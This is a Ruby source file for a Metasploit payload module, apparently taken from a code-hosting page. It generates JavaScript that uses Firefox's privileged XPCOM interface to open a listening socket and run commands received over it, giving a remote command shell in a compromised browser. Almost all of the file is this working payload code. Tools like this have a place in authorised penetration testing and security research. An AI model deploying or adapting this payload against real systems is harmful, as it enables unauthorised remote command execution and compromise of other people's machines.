78 lines
2.4 KiB
Ruby
78 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Firefox
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
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'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
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'Author' => ['joev'],
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'License' => BSD_LICENSE,
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'Platform' => 'firefox',
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'Arch' => ARCH_FIREFOX,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'firefox'
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))
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end
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#
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# Returns the JS string to use for execution
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#
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def generate
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%Q|
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(function(){
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window = this;
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Components.utils.import("resource://gre/modules/NetUtil.jsm");
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var lport = #{datastore["LPORT"]};
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var rhost = "#{datastore['RHOST']}";
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var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
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.createInstance(Components.interfaces.nsIServerSocket);
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serverSocket.init(lport, false, -1);
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var listener = {
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onSocketAccepted: function(serverSocket, clientSocket) {
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var outStream = clientSocket.openOutputStream(0, 0, 0);
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var inStream = clientSocket.openInputStream(0, 0, 0);
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var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
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.createInstance(Components.interfaces.nsIInputStreamPump);
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pump.init(inStream, -1, -1, 0, 0, true);
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pump.asyncRead(clientListener(outStream), null);
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}
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};
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#{read_until_token_source}
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var clientListener = function(outStream) {
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return {
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onStartRequest: function(request, context) {},
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onStopRequest: function(request, context) {},
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onDataAvailable: readUntilToken(function(data) {
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runCmd(data, function(err, output) {
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if(!err) outStream.write(output, output.length);
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});
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})
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};
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};
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#{run_cmd_source}
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serverSocket.asyncListen(listener);
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})();
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end
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end
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